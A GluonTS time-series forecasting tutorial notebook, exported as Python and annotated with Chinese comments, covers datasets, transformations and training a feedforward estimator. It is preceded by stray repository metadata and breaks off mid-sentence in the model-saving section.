"max_stars_repo_name": "asif-rehan/CS7641-Machine-Learning", "max_stars_repo_head_hexsha": "35d949c465b756f2f8310f4cce36ce786673c897", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "randomized_optimization/param_search.py", "max_issues_repo_name": "asif-rehan/CS7641-Machine-Learning", "max_issues_repo_head_hexsha": "35d949c465b756f2f8310f4cce36ce786673c897", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "randomized_optimization/param_search.py", "max_forks_repo_name": "asif-rehan/CS7641-Machine-Learning", "max_forks_repo_head_hexsha": "35d949c465b756f2f8310f4cce36ce786673c897", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-01-27T20:03:33.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-27T20:03:33.000Z", "avg_line_length": 42.1176470588, "max_line_length": 151, "alphanum_fraction": 0.5603781693, "include": true, "reason": "import numpy", "num_tokens": 2745, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.11124120945399738, "lm_q1q2_score": 0.05042139617258549}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Extended Forecasting Tutorial \n# \n# In the extended forecasting tutorial we cover the following topics.\n# \n# ---\n# > ## Table of contents\n# > 1. ### <span style=\"color:orange\">Datasets</span>\n#     1.1 Available datasets on GluonTS  \n#     1.2 Create artificial datasets with GluonTS  \n#     1.3 Use your time series and features\n# > 2. ### <span style=\"color:orange\">Transformation</span>\n#     2.1 Define a transformation  \n#     2.2 Transform a dataset \n# > 3. ### <span style=\"color:orange\">Training an existing model</span>\n#     3.1 Configuring an estimator  \n#     3.2 Getting a predictor  \n#     3.3 Saving/Loading an existing model  \n# > 4. ### <span style=\"color:orange\">Evaluation</span>\n#     4.1 Getting the forecasts  \n#     4.2 Compute metrics  \n# > 5. ### <span style=\"color:orange\">Create your own model</span>\n#     5.1 Point forecasts with a simple feedforward network  \n#     5.2 Probabilistic forecasting  \n#     5.3 Add features and scaling   \n#     5.4 From feedforward to RNN\n#     \n# ---\n\n# In[52]:\n\n\n# Third-party imports\n\nimport mxnet as mx\nfrom mxnet import gluon\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport json\nimport os\nfrom itertools import islice\nfrom pathlib import Path\n\n\n# In[53]:\n\n\nmx.random.seed(0)\nnp.random.seed(0)\n\n\n# # 1. Datasets\n# \n# The first requirement to use GluonTS is to have an appropriate dataset. GluonTS offers three different options to practitioners that want to experiment with the various modules: \n# \n# - Use an available dataset provided by GluonTS\n# - Create an artificial dataset using GluonTS\n# - Convert your dataset to a GluonTS friendly format\n# \n# In general, a dataset should satisfy some minimum format requirements to be compatible with GluonTS. In particular, it should be an iterable collection of data entries (time series), and each entry should have at least a `target` field, which contains the actual values of the time series, and a `start` field, which denotes the starting date of the time series. There are many more optional fields that we will go through in this tutorial.\n# \n# The datasets provided by GluonTS come in the appropriate format and they can be used without any post processing. However, a custom dataset needs to be converted. Fortunately this is an easy task.\n# \n# ## 1.1 Available datasets on GluonTS\n# \n# \u53ef\u4ee5\u83b7\u53d6\u5230\u7684\u6570\u636e\u96c6\n# \n# GluonTS comes with a number of available datasets.\n\n# In[54]:\n\n\nfrom gluonts.dataset.repository.datasets import get_dataset, dataset_recipes\nfrom gluonts.dataset.util import to_pandas\n\n\n# In[55]:\n\n\nprint(f\"Available datasets: {list(dataset_recipes.keys())}\")\n\n\n# To download one of the built-in datasets, simply call `get_dataset` with one of the above names. GluonTS can re-use the saved dataset so that it does not need to be downloaded again: simply set `regenerate=False`.\n# \n# \u53ef\u4ee5\u6307\u5b9a\u4e0b\u8f7d\u6570\u636e\u96c6\n\n# In[56]:\n\n\ndataset = get_dataset(\"m4_hourly\", regenerate=False)\n\n\n# ### 1.1.1 What is in a dataset?\n# \n# In general, the datasets provided by GluonTS are objects that consists of three main members:\n# \n# - `dataset.train` is an iterable collection of data entries used for training. Each entry corresponds to one time series.\n# - `dataset.test` is an iterable collection of data entries used for inference. The test dataset is an extended version of the train dataset that contains a window in the end of each time series that was not seen during training. This window has length equal to the recommended prediction length.\n# - `dataset.metadata` contains metadata of the dataset such as the frequency of the time series, a recommended prediction horizon, associated features, etc.\n# \n# First, let's see what the first entry of the train dataset contains. We should expect at least a `target` and a `start` field in each entry, and the target of the test entry to have an additional window equal to `prediction_length`.\n\n# In[57]:\n\n\n# get the first time series in the training set\n# \u5229\u7528next(iter()) \u6765\u83b7\u53d6\u6570\u636e\u7684\u9996\u884c\ntrain_entry = next(iter(dataset.train))\ntrain_entry.keys()\n\n\n# We observe that apart from the required fields there is one more `feat_static_cat` field (we can safely ignore the `source` field). This shows that the dataset has some features apart from the values of the time series. For now, we will ignore this field too. We will explain it in detail later with all the other optional fields.\n# \n# We can similarly examine the first entry of the test dataset. We should expect exactly the same fields as in the train dataset.\n\n# In[58]:\n\n\n# get the first time series in the test set\n# \u6d4b\u8bd5\u96c6\ntest_entry = next(iter(dataset.test))\ntest_entry.keys()\n\n\n# Moreover, we should expect that the target will have an additional window in the end with length equal to `prediction_length`. To better understand what this means we can visualize both the train and test time series.\n\n# In[59]:\n\n\ntest_series = to_pandas(test_entry)\ntrain_series = to_pandas(train_entry)\n\nfig, ax = plt.subplots(2, 1, sharex=True, sharey=True, figsize=(10, 7))\n\ntrain_series.plot(ax=ax[0])\nax[0].grid(which=\"both\")\nax[0].legend([\"train series\"], loc=\"upper left\")\n\ntest_series.plot(ax=ax[1])\nax[1].axvline(train_series.index[-1], color='r') # end of train dataset\uff0c\u8bad\u7ec3\u6570\u636e\u96c6\u7684\u7ed3\u675f\u4f4d\u7f6e\nax[1].grid(which=\"both\")\nax[1].legend([\"test series\", \"end of train series\"], loc=\"upper left\")\n\nplt.show()\n\n\n# * \u9884\u6d4b\u957f\u5ea6=48\uff0c\u9884\u6d4b\u7684\u9891\u7387\u662fH\n\n# In[60]:\n\n\nprint(f\"Length of forecasting window in test dataset: {len(test_series) - len(train_series)}\")\nprint(f\"Recommended prediction horizon: {dataset.metadata.prediction_length}\")\nprint(f\"Frequency of the time series: {dataset.metadata.freq}\")\n\n\n# ## 1.2 Create artificial datasets\n# \n# * \u5229\u7528`ComplexSeasonalTimeSeries`\u6765\u6784\u5efa\u6570\u636e\u96c6\n# \n# We can easily create a complex artificial time series dataset using the `ComplexSeasonalTimeSeries` module.\n\n# In[61]:\n\n\nfrom gluonts.dataset.artificial import ComplexSeasonalTimeSeries\nfrom gluonts.dataset.common import ListDataset\n\n\n# In[62]:\n\n\nartificial_dataset = ComplexSeasonalTimeSeries(\n    num_series=10, # \u6570\u636e\u96c6\u7684item_size = 10\n    prediction_length=21, # \u9884\u6d4b\u7684\u957f\u5ea6\n    freq_str=\"H\", # \u9884\u6d4b\u7684\u9891\u7387\n    length_low=30,\n    length_high=200,\n    min_val=-10000,\n    max_val=10000,\n    is_integer=False,\n    proportion_missing_values=0,\n    is_noise=True,\n    is_scale=True,\n    percentage_unique_timestamps=1,\n    is_out_of_bounds_date=True,\n)\n\n\n# We can access some important metadata of the artificial dataset as follows:\n\n# In[63]:\n\n\nprint(f\"prediction length: {artificial_dataset.metadata.prediction_length}\")\nprint(f\"frequency: {artificial_dataset.metadata.freq}\")\n\n\n# The artificial dataset that we created is a list of dictionaries. Each dictionary corresponds to a time series and it should contain the required fields.\n\n# * keys \u81f3\u5c11\u5305\u62ecstart,target,item_id\n\n# In[64]:\n\n\nprint(f\"type of train dataset: {type(artificial_dataset.train)}\")\nprint(len(artificial_dataset.train))\nprint(f\"train dataset fields: {artificial_dataset.train[0].keys()}\")\nprint(len(artificial_dataset.test))\nprint(f\"type of test dataset: {type(artificial_dataset.test)}\")\nprint(f\"test dataset fields: {artificial_dataset.test[0].keys()}\")\n\n\n# In[65]:\n\n\nartificial_dataset.train[0]['start']\n\n\n# In[66]:\n\n\nprint(artificial_dataset.test[0]['target'].shape ,artificial_dataset.train[0]['target'].shape ) # \u521a\u597d\u9884\u6d4b\u957f\u5ea6\u662f21\n\n\n# In[67]:\n\n\n[artificial_dataset.train[i]['item_id']  for i in range(len(artificial_dataset.train))] # \u548c\u53c2\u6570num_series\u76f8\u540c\n\n\n# In[68]:\n\n\nartificial_dataset.train[0]['target'].min(),artificial_dataset.train[0]['target'].max()\n\n\n# In order to use the artificially created datasets (list of dictionaries) we need to convert them to `ListDataset` objects.\n\n# In[69]:\n\n\ntrain_ds = ListDataset(artificial_dataset.train, \n                        freq=artificial_dataset.metadata.freq)\n\n\n# In[70]:\n\n\ntest_ds = ListDataset(artificial_dataset.test, \n                       freq=artificial_dataset.metadata.freq)\n\n\n# In[71]:\n\n\ntrain_entry = next(iter(train_ds))\ntrain_entry.keys() # \u6ce8\u610f\u8fd9\u513f\u591a\u4e86\u4e00\u4e2a'source'\u5b57\u6bb5\n\n\n# In[72]:\n\n\ntest_entry = next(iter(test_ds))\ntest_entry.keys()\n\n\n# In[73]:\n\n\nprint(train_entry['source'],test_entry['source'])\n\n\n# In[74]:\n\n\ntest_series = to_pandas(test_entry)\ntrain_series = to_pandas(train_entry)\n\nfig, ax = plt.subplots(2, 1, sharex=True, sharey=True, figsize=(10, 7))\n\ntrain_series.plot(ax=ax[0])\nax[0].grid(which=\"both\")\nax[0].legend([\"train series\"], loc=\"upper left\")\n\ntest_series.plot(ax=ax[1])\nax[1].axvline(train_series.index[-1], color='r') # end of train dataset\nax[1].grid(which=\"both\")\nax[1].legend([\"test series\", \"end of train series\"], loc=\"upper left\")\n\nplt.show()\n\n# just fun\nprint(train_series.index[0],train_series.index[-1])\nprint(test_series.index[0],test_series.index[-1]) \n\n\n# ## 1.3 Use your time series and features\n# \n# * \u53ef\u4ee5\u6709\u66f4\u591a\u7684\u53d8\u91cf\n# \n# Now, we will see how we can convert any custom dataset with any associated features to an appropriate format for GluonTS.\n# \n# As already mentioned a dataset is required to have at least the `target` and the `start` fields. However, it may have more. Let's see what are all the available fields:\n\n# In[75]:\n\n\nfrom gluonts.dataset.field_names import FieldName\n\n\n# In[76]:\n\n\n[f\"FieldName.{k} = '{v}'\" for k, v in FieldName.__dict__.items() if not k.startswith('_')]\n\n\n# * \u4e09\u7c7bfields\n# \n# The fields are split into three categories: the required ones, the optional ones, and the ones that can be added by the `Transformation` (explained in a while).\n# \n# * \u5fc5\u987b\u5305\u542b\uff082\u4e2a\u3001\u5f00\u59cb\u65f6\u95f4\u3001\u9884\u6d4b\u5217\uff09\n# \n# Required:\n# \n# - `start`: start date of the time series\n# - `target`: values of the time series\n# \n# \n# \n# \n# * \u53ef\u9009\u7684\uff084\u4e2a\uff09\n# \n# - `feat_static_cat` \u9759\u6001\u5206\u7c7b\uff0c\u6240\u5c5e\u7684\u7c7b\u522b\n# - `feat_static_real` \u9759\u6001real\n# - `feat_dynamic_cat` \u52a8\u6001\u5206\u7c7b\n# - `feat_dynamic_real`\u52a8\u6001real,\u6570\u503c\u578b\u65f6\u5e8f\u7279\u5f81(item_size,target.length)\n# \n# \n# Optional:\n# \n# - `feat_static_cat`: static (over time) categorical features, list with dimension equal to the number of features\n# - `feat_static_real`: static (over time) real features, list with dimension equal to the number of features\n# - `feat_dynamic_cat`: dynamic (over time) categorical features, array with shape equal to (number of features, target length)\n# - `feat_dynamic_real`: dynamic (over time) real features, array with shape equal to (number of features, target length)\n# \n# \n# * \u6dfb\u52a0\u7684\uff0c\u8f6c\u6362\u800c\u6765\u7684\uff086\u4e2a\uff09\n# \n# \n# Added by `Transformation`:\n# \n# - `time_feat`: time related features such as the month or the day \n# - `feat_dynamic_const`: expands a constant value feature along the time axis\n# - `feat_dynamic_age`: age feature, i.e., a feature that its value is small for distant past timestamps and it monotonically increases the more we approach the current timestamp\n# - `observed_values`: indicator for observed values, i.e., a feature that equals to 1 if the value is observed and 0 if the value is missing\n# - `is_pad`: indicator for each time step that shows if it is padded (if the length is not enough) \n# - `forecast_start`: forecast start date\n# \n# As a simple example, we can create a custom dataset to see how we can use some of these fields. The dataset consists of a target, a real dynamic feature (which in this example we set to be the target value one period earlier), and a static categorical feature that indicates the sinusoid type (different phase) that we used to create the target.\n\n# In[77]:\n\n\ndef create_dataset(num_series, num_steps, period=24, mu=1, sigma=0.3):\n    # create target: noise + pattern    \n    # noise\n    noise = np.random.normal(mu, sigma, size=(num_series, num_steps))\n    \n    # pattern - sinusoid with different phase\n    sin_minumPi_Pi = np.sin(np.tile(np.linspace(-np.pi, np.pi, period), int(num_steps / period)))\n    sin_Zero_2Pi = np.sin(np.tile(np.linspace(0, 2 * np.pi, 24), int(num_steps / period)))\n    \n    pattern = np.concatenate((np.tile(sin_minumPi_Pi.reshape(1, -1), \n                                      (int(np.ceil(num_series / 2)),1)), \n                              np.tile(sin_Zero_2Pi.reshape(1, -1), \n                                      (int(np.floor(num_series / 2)), 1))\n                             ),\n                             axis=0\n                            )\n    \n    # target\n    target = noise + pattern\n    \n    # create time features: use target one period earlier, append with zeros\n    # feat_dynamic_real \uff0d\u3000\u65f6\u5e8f\u7279\u5f81\n    feat_dynamic_real = np.concatenate((np.zeros((num_series, period)), \n                                        target[:, :-period]\n                                       ), \n                                       axis=1\n                                      )\n    \n    # create categorical static feats: use the sinusoid type as a categorical feature\n    # 0,1\uff0c\u521a\u597d\u4e00\u534a\u4e00\u534a\u3002feat_static_cat\u662f\u9488\u5bf9item\u7684\uff0c\u5927\u5c0f\u548citem_size\u76f8\u540c\uff0c\u4e5f\u5c31\u662f\u6bcf\u4e2a\u89c2\u6d4b\u6709\u4e00\u4e2a\u6240\u5c5e\u7684\u7c7b\u522b\n    feat_static_cat = np.concatenate((np.zeros(int(np.ceil(num_series / 2))), \n                                      np.ones(int(np.floor(num_series / 2)))\n                                     ),\n                                     axis=0\n                                    )\n    \n    return target, feat_dynamic_real, feat_static_cat\n    \n\n\n# In[78]:\n\n\n# define the parameters of the dataset\ncustom_ds_metadata = {'num_series': 100, # 100\u4e2a\u89c2\u5bdf\n                      'num_steps': 24 * 7,# 168\u4e2a\u6570\u503c\uff0dtarget,\u8fd9\u6837\u5f62\u6210\u7684target.shape = (100,168)\n                      'prediction_length': 24,#\u3000\u9884\u6d4b\u7684\u957f\u5ea6\n                      'freq': '1H',\n                      'start': [pd.Timestamp(\"01-01-2019\", freq='1H') \n                                for _ in range(100)]\n                     }\n\n\n# In[79]:\n\n\ndata_out = create_dataset(custom_ds_metadata['num_series'], \n                          custom_ds_metadata['num_steps'],                                                      \n                          custom_ds_metadata['prediction_length']\n                         )\n\ntarget, feat_dynamic_real, feat_static_cat = data_out\n\n\n# * \u4ee5\u4e0b\u90e8\u5206\u662f\u5bf9\u4e0a\u9762\u4ee3\u7801\u7684\u7406\u89e3\n\n# In[80]:\n\n\ntarget.shape\n\n\n# In[81]:\n\n\nprint(target[0].shape,target[0].min(),target[0].max())\n\n# feature_static_cat\u76f8\u5f53\u4e8e\u662f\u6bcf\u4e2a\u89c2\u6d4b\uff0c\u90fd\u6709\u4e00\u4e2a\u6240\u5c5e\u7684\u7c7b\u522b\n# feat_dynamic_real\u76f8\u5f53\u4e8e\u548ctarget\u7684\u5f62\u72b6\u76f8\u540c\uff0c\u76f8\u5f53\u4e8e\u662f\u989d\u5916\u7684\u7279\u5f81\n# In[82]:\n\n\nfeat_dynamic_real.shape,feat_static_cat.shape \n\n\n# In[83]:\n\n\nfeat_static_cat\n\n\n# In[84]:\n\n\nfeat_dynamic_real[1]\n\n\n# We can easily create the train and test datasets by simply filling in the correct fields. Remember that for the train dataset we need to cut the last window.\n\n# In[85]:\n\n\nlen(custom_ds_metadata['start']),custom_ds_metadata['start'][0] # 100\u4e2a\u89c2\u5bdf\u5e8f\u5217\u7684\u8d77\u59cb\u503c\u76f8\u540c\n\n\n# In[86]:\n\n\ntarget[:, :-custom_ds_metadata['prediction_length']].shape # \u628a\u524d\uff11\uff14\uff14\u4e2a\u62ff\u51fa\u6765\u4f5c\u4e3a\u8bad\u7ec3\u96c6\n\n\n# In[87]:\n\n\ncustom_ds_metadata['freq']\n\n\n# In[88]:\n\n\n# feat_dynamic_real\u7684\u5904\u7406\u548ctarget\u76f8\u540c\uff0c\u4f46\u662ffeat_static_cat\u56e0\u4e3a\u662f\u548citem\u7684\u6570\u91cf\u76f8\u540c\uff08\uff11\uff10\uff10\uff09\uff0c\u6240\u4ee5\u5168\u90e8\u7eb3\u5165\u8fdb\u6765\n# \u8bad\u7ec3\u6570\u636e\u9700\u8981\u5254\u9664\u6389\u9884\u6d4b\u7684\u90e8\u5206\uff0c\u4e5f\u5c31\u662fprediction_length\n\ntrain_ds = ListDataset([{FieldName.TARGET: target, \n                         FieldName.START: start,\n                         FieldName.FEAT_DYNAMIC_REAL: [fdr],\n                         FieldName.FEAT_STATIC_CAT: [fsc]} \n                        for (target, start, fdr, fsc) in zip(target[:, :-custom_ds_metadata['prediction_length']], \n                                                             custom_ds_metadata['start'], \n                                                             feat_dynamic_real[:, :-custom_ds_metadata['prediction_length']], \n                                                             feat_static_cat)],\n                      freq=custom_ds_metadata['freq'])\n\n\n# In[89]:\n\n\n# \u6ce8\u610f\uff0c\u5728\u8bbe\u8ba1\u4e2d\uff0ctest\u6570\u636e\u96c6\u5305\u542b\u5168\u90e8\u7684\n# \u6ce8\u610f\uff0c\uff2cistDataset\u4e2d\uff0c\u662f\u4e00\u4e2alist\uff0clist\u4e2d\u5305\u542b\u4e86dict\ntest_ds = ListDataset([{FieldName.TARGET: target, \n                        FieldName.START: start,\n                        FieldName.FEAT_DYNAMIC_REAL: [fdr],\n                        FieldName.FEAT_STATIC_CAT: [fsc]} \n                       for (target, start, fdr, fsc) in zip(target, \n                                                            custom_ds_metadata['start'], \n                                                            feat_dynamic_real, \n                                                            feat_static_cat)],\n                     freq=custom_ds_metadata['freq'])\n\n\n# Now, we can examine each entry of the train and test datasets. We should expect that they have the following fields: `target`, `start`, `feat_dynamic_real` and `feat_static_cat`.\n\n# In[90]:\n\n\n# \u5229\u7528next(iter) \u83b7\u53d6\u5b9e\u9645\u7684\u6570\u636e\ntrain_entry = next(iter(train_ds))\ntrain_entry.keys()\n\n\n# In[91]:\n\n\ntest_entry = next(iter(test_ds))\ntest_entry.keys()\n\n\n# In[92]:\n\n\ntest_series = to_pandas(test_entry)\ntrain_series = to_pandas(train_entry)\n\nfig, ax = plt.subplots(2, 1, sharex=True, sharey=True, figsize=(10, 7))\n\ntrain_series.plot(ax=ax[0])\nax[0].grid(which=\"both\")\nax[0].legend([\"train series\"], loc=\"upper left\")\n\ntest_series.plot(ax=ax[1])\nax[1].axvline(train_series.index[-1], color='r') # end of train dataset\nax[1].grid(which=\"both\")\nax[1].legend([\"test series\", \"end of train series\"], loc=\"upper left\")\n\nplt.show()\n\n\n# <span style=\"color:red\">*For the rest of the tutorial we will use the custom dataset*</span>\n\n# # 2. Transformation\n# \n# ## 2.1 Define a transformation\n# \n# The primary use case for a `Transformation` is for feature processing, e.g., adding a holiday feature and for defining the way the dataset will be split into appropriate windows during training and inference. \n# \n# \u7279\u5f81\u62bd\u53d6\uff0c\u6bd4\u5982\u6dfb\u52a0\u8282\u5047\u65e5\u7684\u7279\u5f81\u3002\u62c6\u5206\u7a97\u53e3\u3002\n# \n# In general, it gets an iterable collection of entries of a dataset and transform it to another iterable collection that can possibly contain more fields. The transformation is done by defining a set of \"actions\" to the raw dataset depending on what is useful to our model. This actions usually create some additional features or transform an existing feature. As an example, in the following we add the following transformations:\n# \n# \u8f93\u5165\u7684\u662fdataset\uff0c\u8f93\u51fa\u7684\u53e6\u5916\u4e00\u4e2a\u53ef\u8fed\u4ee3\u5bf9\u8c61\uff0c\u5305\u542b\u4e86\u66f4\u591a\u7684\u7279\u5f81\u3002\n# \u5229\u7528\u4e00\u7ec4\u201cactions\"\u6765\u505a\u7279\u5f81\u62bd\u53d6\u3002\n# \n# \n# - `AddObservedValuesIndicator`: Creates the `observed_values` field in the dataset, i.e., adds a feature that equals to 1 if the value is observed and 0 if the value is missing \n# \n# \u7279\u5f81\u503c\u5982\u679c\u5b58\u5728\u5219\u4e3a\uff11\uff0c\u5426\u5219\u4e3a\uff10\n# \n# \n# - `AddAgeFeature`: Creates the `feat_dynamic_age` field in the dataset, i.e., adds a feature that its value is small for distant past timestamps and it monotonically increases the more we approach the current timestamp  \n# \n# \u5f88\u65e9\u4e4b\u524d\u7684\u503c\u6bd4\u8f83\u5c0f\uff0c\u4f46\u662f\u6700\u8fd1\u7684\u65f6\u95f4\u6233\u7684\u503c\u4f1a\u8d8a\u6765\u8d8a\u5927\n# \n# The `Transformation` may not define an additional field in the dataset. However, it **always** needs to define how the datasets are going to be split in example windows during training and testing. This is done with the `InstanceSplitter` that is configured as follows (skipping the obvious fields):\n# \n# `Transformation` \u5e76\u6ca1\u6709\u589e\u52a0dataset\u4e2d\u7684\u989d\u5916\u5b57\u6bb5\u3002\u4f46\u662f\u5b83\u603b\u662f\u5b9a\u4e49\u4e86\u5982\u4f55\u62c6\u5206\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684\u65f6\u95f4\u7a97\u53e3\u3002\n# \u8fd9\u662f\u5229\u7528`InstanceSplitter`\u6765\u505a\u7684\u3002\n# \n# - `is_pad_field`: indicator if the time series is padded (if the length is not enough)\n# - `train_sampler`: defines how the training windows are cut/sampled\n# - `time_series_fields`: contains the time dependent features that need to be split in the same manner as the target\n# \n\n# In[93]:\n\n\nfrom gluonts.transform import (\n    AddAgeFeature,\n    AddObservedValuesIndicator,\n    Chain,\n    ExpectedNumInstanceSampler,\n    InstanceSplitter,\n    SetFieldIfNotPresent,\n)\n\n\n# In[106]:\n\n\ndef create_transformation(freq, context_length, prediction_length):\n    return Chain(\n        [\n            # \u662f\u5426\u51fa\u73b0\n            AddObservedValuesIndicator(\n                target_field=FieldName.TARGET,\n                output_field=FieldName.OBSERVED_VALUES,\n            ),\n            \n            # \u65f6\u95f4\u4e0a\u7684\u52a0\u6743\uff0c\u8d8a\u8fdc\u7684\u503c\u8d8a\u5c0f\n            AddAgeFeature(\n                target_field=FieldName.TARGET,\n                output_field=FieldName.FEAT_AGE,\n                pred_length=prediction_length,\n                log_scale=True,\n            ),\n            \n            # \u62c6\u5206\n            InstanceSplitter(\n                target_field=FieldName.TARGET,\n                is_pad_field=FieldName.IS_PAD,\n                start_field=FieldName.START,\n                forecast_start_field=FieldName.FORECAST_START,\n                train_sampler=ExpectedNumInstanceSampler(num_instances=1),\n                past_length=context_length,\n                future_length=prediction_length,\n                time_series_fields=[\n                    FieldName.FEAT_AGE,\n                    FieldName.FEAT_DYNAMIC_REAL,\n                    FieldName.OBSERVED_VALUES,\n                ],\n            ),\n        ]\n    )\n\n\n# ## 2.2 Transform a dataset\n# \n# Now, we can create a transformation object by applying the above transformation to the custom dataset we have created.\n\n# In[107]:\n\n\ntransformation = create_transformation(custom_ds_metadata['freq'], \n                                       2 * custom_ds_metadata['prediction_length'], # \u7528\u8fc7\u53bb\u591a\u957f\u65f6\u95f4\u6765\u9884\u6d4b\u672a\u6765\u3000can be any appropriate value\n                                       custom_ds_metadata['prediction_length'])\n\n\n# In[108]:\n\n\ntrain_tf = transformation(iter(train_ds), is_train=True)\n\n\n# In[98]:\n\n\ntype(train_tf)\n\n\n# As expected, the output is another iterable object. We can easily examine what is contained in an entry of the transformed dataset. When `is_train=True` in the transformation, the `InstanceSplitter` iterates over the transformed dataset and cuts windows by selecting randomly a time series and a starting point on that time series (this \"randomness\" is defined by the `train_sampler`).\n\n# In[109]:\n\n\ntrain_tf_entry = next(iter(train_tf))\n[k for k in train_tf_entry.keys()]\n\n\n# The transformer has done what we asked. In particular it has added:\n# \n# - a field for observed values (`observed_values`)  \n# - a field for the age feature (`feat_dynamic_age`)\n# - some extra useful fields (`past_is_pad`, `forecast_start`)\n# \n# It has done one more important thing: it has split the window into past and future and has added the corresponding prefixes to all time dependent fields. This way we can easily use e.g., the `past_target` field as input and the `future_target` field to calculate the error of our predictions. Of course, the length of the past is equal to the `context_length` and of the future equal to the `prediction_length`.\n# \n# \u4e5f\u5c31\u662f\u6240\u8c13\u7684context_length\uff0c\u4e0a\u4e0b\u6587\u957f\u5ea6\n\n# In[110]:\n\n\nprint(f\"past target shape: {train_tf_entry['past_target'].shape}\") # \u8fc7\u53bb\u7684\uff0ctarget = 48 = 2 * custom_ds_metadata['prediction_length']\nprint(f\"future target shape: {train_tf_entry['future_target'].shape}\") # \u672a\u6765\u7684\uff0ctarget = 24\nprint(f\"past observed values shape: {train_tf_entry['past_observed_values'].shape}\") # 48\nprint(f\"future observed values shape: {train_tf_entry['future_observed_values'].shape}\") #24\nprint(f\"past age feature shape: {train_tf_entry['past_feat_dynamic_age'].shape}\") #\u8fc7\u53bb\u7684\uff0c48\uff0c\u8fd9\u4e2a\u662f\u4e00\u4e2a\u5b9e\u6570\uff0c\u9012\u589e\u7684\nprint(f\"future age feature shape: {train_tf_entry['future_feat_dynamic_age'].shape}\")#\u672a\u6765\u7684,24\uff0c\u503c\u8d8a\u6765\u8d8a\u5927\nprint(train_tf_entry['feat_static_cat'])\n\n\n# Just for comparison, let's see again what were the fields in the original dataset before the transformation:\n\n# In[122]:\n\n\n[k for k in next(iter(train_ds)).keys()]\n\n\n# In[124]:\n\n\n[k for k in train_tf_entry.keys() if k  in next(iter(train_ds)).keys()]\n\n\n# In[125]:\n\n\n[k for k in train_tf_entry.keys() if k  not in next(iter(train_ds)).keys()]\n\n\n# Now, we can move on and see how the test dataset is split. As we saw, the transformation splits the windows into past and future. However, during inference (`is_train=False` in the transformation), the splitter always cuts the last window (of length `context_length`) of the dataset so it can be used to predict the subsequent unknown values of length `prediction_length`. \n# \n# So, how is the test dataset split in past and future since we do not know the future target? And what about the time dependent features?\n\n# In[126]:\n\n\ntest_tf = transformation(iter(test_ds), is_train=False)\n\n\n# In[127]:\n\n\ntest_tf_entry = next(iter(test_tf))\n[k for k in test_tf_entry.keys()]\n\n\n# In[128]:\n\n\nprint(f\"past target shape: {test_tf_entry['past_target'].shape}\")\nprint(f\"future target shape: {test_tf_entry['future_target'].shape}\")\nprint(f\"past observed values shape: {test_tf_entry['past_observed_values'].shape}\")\nprint(f\"future observed values shape: {test_tf_entry['future_observed_values'].shape}\")\nprint(f\"past age feature shape: {test_tf_entry['past_feat_dynamic_age'].shape}\")\nprint(f\"future age feature shape: {test_tf_entry['future_feat_dynamic_age'].shape}\")\nprint(test_tf_entry['feat_static_cat'])\n\n\n# The future target is empty but not the features - we always assume that we know the future features!\n# \n# All the things we did manually here are done by an internal block called `DataLoader`. It gets as an input the raw dataset (in appropriate format) and the transformation object and it outputs the transformed iterable dataset batch by batch. The only thing that we need to worry about is setting the transformation fields correctly!\n# \n# \n# `DataLoader`\uff0e\u53ea\u9700\u8981\u914d\u7f6e\u597dtransformation\u5c31\u597d\u4e86\u3002\n\n# # 3. Training an existing model\n# \n# GluonTS comes with a number of pre-built models. All the user needs to do is configure some hyperparameters. The existing models focus on (but are not limited to) probabilistic forecasting. Probabilistic forecasts are predictions in the form of a probability distribution, rather than simply a single point estimate. Having estimated the future distribution of each time step in the forecasting horizon, we can draw a sample from the distribution at each time step and thus create a \"sample path\" that can be seen as a possible realization of the future. In practice we draw multiple samples and create multiple sample paths which can be used for visualization, evaluation of the model, to derive statistics, etc.\n# \n# \u81ea\u5e26\u7684pre-built\u6a21\u578b\uff0c\u7528\u6237\u53ea\u8981\u914d\u7f6e\u597d\u8d85\u53c2\u6570\u5c31\u53ef\u4ee5\u4e86\u3002\n# \n# \n# ## 3.1 Configuring an estimator\n# \n# We will begin with GulonTS's pre-built feedforward neural network estimator, a simple but powerful forecasting model. We will use this model to demonstrate the process of training a model, producing forecasts, and evaluating the results.\n# \n# GluonTS's built-in feedforward neural network (`SimpleFeedForwardEstimator`) accepts an input window of length `context_length` and predicts the distribution of the values of the subsequent `prediction_length` values. In GluonTS parlance, the feedforward neural network model is an example of `Estimator`. In GluonTS, `Estimator` objects represent a forecasting model as well as details such as its coefficients, weights, etc.\n# \n# In general, each estimator (pre-built or custom) is configured by a number of hyperparameters that can be either common (but not binding) among all estimators (e.g., the `prediction_length`) or specific for the particular estimator (e.g., number of layers for a neural network or the stride in a CNN).\n# \n# Finally, each estimator is configured by a `Trainer`, which defines how the model will be trained i.e., the number of epochs, the learning rate, etc.\n\n# In[129]:\n\n\nfrom gluonts.model.simple_feedforward import SimpleFeedForwardEstimator\nfrom gluonts.trainer import Trainer\n\n\n# In[135]:\n\n\nestimator = SimpleFeedForwardEstimator(\n    num_hidden_dimensions=[10],\n    prediction_length=custom_ds_metadata['prediction_length'],\n    context_length=2*custom_ds_metadata['prediction_length'],\n    freq=custom_ds_metadata['freq'],\n    trainer=Trainer(ctx=\"cpu\", \n                    epochs=5, \n                    learning_rate=1e-3, \n                    hybridize=False, \n                    num_batches_per_epoch=100\n                   )\n)\n\n\n# ## 3.2 Getting a predictor\n# \n# After specifying our estimator with all the necessary hyperparameters we can train it using our training dataset `dataset.train` by invoking the `train` method of the estimator. The training algorithm returns a fitted model (or a `Predictor` in GluonTS parlance) that can be used to construct forecasts.\n# \n# We should emphasize here that a single model, as the one defined above, is trained over all the time series contained in the training dataset `train_ds`. This results in a **global** model, suitable for prediction for all the time series in `train_ds` and possibly for other unseen related time series.\n\n# In[136]:\n\n\npredictor = estimator.train(train_ds)\n\n\n# ## 3.3 Saving/Loading an existing model\n# \n# A fitted model, i.e., a 